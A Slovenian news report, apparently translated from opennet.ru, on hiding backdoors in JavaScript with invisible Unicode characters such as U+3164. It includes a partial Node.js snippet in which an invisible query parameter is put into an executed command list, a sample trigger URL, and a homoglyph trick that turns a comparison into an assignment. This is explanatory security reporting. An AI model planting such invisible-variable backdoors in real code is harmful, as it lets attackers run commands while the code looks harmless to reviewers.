Uporaba nevidnih znakov unicode za skrivanje dejanj v kodi JavaScript

Po metodi napada Trojan Source, ki temelji na uporabi znakov Unicode, ki spreminjajo vrstni red prikaza dvosmernega besedila, je bila objavljena še ena tehnika za uvajanje skritih dejanj, ki se uporablja za kodo JavaScript. Nova metoda temelji na uporabi znaka unicode »ㅤ« (koda 0x3164, »HANGUL FILLER«), ki je črka, vendar nima vidne vsebine. Kategorija Unicode, ki ji pripada ta znak, je dovoljena od specifikacije ECMAScript 2015 za uporabo v imenih spremenljivk JavaScript, kar omogoča ustvarjanje nevidnih spremenljivk ali novih spremenljivk, ki jih ni mogoče razlikovati od drugih spremenljivk v priljubljenih urejevalnikih kode, kot sta Notepad++ in VS Code.

Kot primer je podana koda za platformo Node.js, v kateri so z uporabo spremenljivke, sestavljene iz enega samega znaka »ㅤ«, skrita stranska vrata, ki omogočajo izvajanje kode, ki jo določi napadalec: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // dejansko pravi "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // vejica, ki ji sledi \u3164 ];

Na prvi pogled se prek zunanjega parametra posreduje samo vrednost časovne omejitve, matrika z ukazi, ki jih je treba izvesti, pa vsebuje neškodljiv fiksni seznam. Toda v resnici je po spremenljivki časovne omejitve dodeljena vrednost druge nevidne spremenljivke s kodo simbola \u3164, ki je prav tako zamenjana v matriko izvedljivih ukazov. Tako lahko v prisotnosti takšne strukture napadalec pošlje zahtevo, kot je "https://host:8080/network_health?%E3%85%A4=command", da aktivira stranska vrata in izvede svojo kodo.

Kot drug primer je podan znak "ǃ" (ALVEOLARNI KLIK), ki ga lahko uporabimo za ustvarjanje videza, kot da označuje klicaj. Na primer, izraz "if(environmentǃ=ENV_PROD){", ko se izvede v Node.js 14, bo vedno resničen, ker ne preverja razlik, ampak nastavi spremenljivko "environmentǃ" na ENV_PROD. Zavajajoči znaki Unicode vključujejo "/", "−", "+", "⩵", "❨", "⫽", "꓿" in "∗".

Vir: opennet.ru

Dodaj komentar